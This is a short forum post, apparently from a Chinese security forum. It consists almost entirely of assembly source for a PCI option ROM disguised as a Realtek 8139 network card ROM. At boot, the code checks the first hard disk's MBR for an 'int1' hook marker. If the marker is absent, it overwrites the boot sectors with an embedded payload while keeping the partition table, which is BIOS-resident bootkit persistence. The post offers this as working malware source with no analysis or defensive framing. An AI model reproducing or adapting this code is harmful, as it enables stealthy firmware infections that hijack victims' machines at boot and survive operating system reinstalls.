由于是新注册的ID,只能在这发了~
;*******************************************************************************************************************
;*******************************************************************************************************************
org 0h ; 运行于BIOS中
db 55h,0AAh ; ISA模块头
db 15 ; 大小为 15*512字节
jmp MyROMCodeStart
;*******************************************************************************************************************
;*******************************************************************************************************************
;db 0bh
;db 6dh
;db 03h
times 18 db 0h
;dd 400020h,8b2e0060h,4e5590c0h
;dd a7164944h
;dd A7h
;db 44h,49h,16h
;db 167
;dd 2010000h,8000cc5h
dw 001ch; PCI数据结构起始偏移 00h
dw 0034h; PCI数据结构结束偏移 02h
dd 52494350h; PCIR(pci rom)标志 04h
dw 10ech; 供应商ID 08h
dw 8139h; 设备ID(网卡8139) 0ah
dw 0000; 保留 0ch
dw 0018h; PCI数据结构长度 0eh
db 00h; PCI数据结构修订版 10h
db 02,00,00; 类别代码
dw 0008h; 代码长度
dw 0201h; 代码/数据修订版本水平
db 00; 代码类型(0表示可执行代码)
db 80h; 指示字节
dw 0000h; 保留
dd 506e5024h,201h,6500h,0,20000h,6400h,0,0;
;*******************************************************************************************************************
;*******************************************************************************************************************
MyROMCodeStart:
pushf ;
pushad ;PCI设备规范中说明,除了返回值以外,其它的参数必需恢复
push es
push ds
; ret
cld
call x_code ; 跳转到程序进入点
;*******************************************************************************************************************
;*******************************************************************************************************************
;------------------------------------------------------------------------
incbin "dst_sectors.dat";;;需要复制的数据
;------------------------------------------------------------------------
;*******************************************************************************************************************
;*******************************************************************************************************************
;oxfb9cd
;0xfb8ed
x_code:
pop ax
xor bx,bx
push bx
pop es
push cs
pop ds
mov si, ax
mov di, 7c00h
mov cx, 1c00h
rep movsb ;将需要复制的文件拷贝到7c00h处
mov ds,bx
mov ah, 41h
mov dl, 80h
mov bx, 55AAh
int 13h ;检测是否支持扩展的BIOS int 13h功能
cmp bx, 0AA55h
jnz __Exit
test cl, 1
jz __Exit
call __Estimate_MBR;判断MBR是否以经被HOOK
test ax,ax
jnz __Exit; 如果被HOOK了或者读取错误退出
mov ax,7c00h
mov ecx,0
mov dx,14
call __Write_sectors
__Exit:
pop ds
pop es
popad
popf
retf
;*******************************************************************************************************************
;*******************************************************************************************************************
;=============================================================
; 需要将名称变为大写
; 输入:ES:EDI = 字符串 CX = 字符串长度 (宽字符串)
;
;=============================================================
ToUpperCase:
PUSH ECX
PUSH EBX
XOR EBX,EBX
TEST CX,CX
JZ .End ; CX = 0
; 目前只处理 a-z => A-Z
.CheckNextChar:
CMP WORD[ES:EDI+EBX],0061H
JB .NextChar
CMP WORD[ES:EDI+EBX],007AH
JA .NextChar
; a < ch < z
SUB WORD[ES:EDI+EBX],20H
.NextChar:
; 继续处理下一个字符
INC EBX
INC EBX
DEC CX
JNZ .CheckNextChar
.End:
; 返回
POP EBX
POP ECX
RET
;*******************************************************************************************************************
;*******************************************************************************************************************
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;function : write sectors
;vars : ax = offset of the buffer,dx = cnt of sectors to write,ecx = start sector No.
;data: 2009-5-23
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
__Write_sectors:
push si
push di
xor bx,bx
push bx
pop ds
mov si,97F0h
mov [word si],word 0010h
mov [word si+2],dx;写dx个扇区的数据
mov [word si+4],ax
mov [word si+6],byte 0000h
mov [word si+8],ecx;从第ecx个扇区开始写入。
mov ecx,0004h
mov di,97FCh
_fill_zero1:
mov [byte di],byte 00h
inc di
loop _fill_zero1
mov ax,4300h
mov dl,80h
int 13h
jnb _normal_write
mov ax,0ffffh
_normal_write:
pop di
pop si
ret
;*******************************************************************************************************************
;*******************************************************************************************************************
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;function : __Estimate_MBR
;date : 2009-05-26
;if hooked return true else return false
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
__Estimate_MBR:
mov ax,0x8A00 ;7c00+e00
mov dx,1;需要读取的扇区数
mov ecx,0;开始读的起始扇区
push ax
call __Read_sectors;读0扇区的内容
pop si
cmp ax,0xffff
jz _erro_read
mov ax,[word 0x8BFE] ;7c00+1FE
cmp ax,0xAA55
jnz FindSign
mov eax,[dword 0x8A92] ;7c00+e00+192
cmp eax,0x31746E69;;HOOK标志
jz FindSign
mov ax,0
jmp NotHook
FindSign:
mov ax,1
jmp _erro_read
NotHook:
mov si,0x8B80 ;7c00+e00+180
mov di,0x7d80 ;7c00+180
mov cx,0x80
rep movsb ;复制分区表到0x7c00+0x180处
_erro_read:
ret
;*******************************************************************************************************************
;*******************************************************************************************************************
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;function : read sectors
;vars : ax = offset of the buffer,dx = cnt of sectors to read,ecx = start sector No.
;updata: 2009-5-23
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
__Read_sectors:
push si
push di
xor bx,bx
push bx
pop ds
mov si,97F0h
mov [word si],word 0010h
mov [word si+2],dx;读取dx个扇区的数据
mov [word si+4],ax
mov [word si+6],byte 0000h
mov [word si+8],ecx ;从第ecx个扇区开始读取。
mov ecx,0004h
mov di,97FCh
_fill_zero:
mov [byte di],byte 00h
inc di
loop _fill_zero
mov ax,4200h
mov dl,80h
int 13h
jnb _normal_read
mov ax,0ffffh
_normal_read:
pop di
pop si
ret
;*******************************************************************************************************************
;*******************************************************************************************************************
WaitPressScrollKey:
push ax
s0:
in al,60h
cmp al,0x46 ;Scroll Lock键扫描码:46h
jnz s1
stc
pop ax
ret
s1:
in al,61h
test al,010h
jnz s2
con:
in al,61h
test al,10h
jz con
dec cx
s2:
or cx,cx
jnz s0
clc
pop ax
ret
times 7680-($-$$) db 0 ; 添加文件至7680字节大小
[课程]Android-CTF解题方法汇总!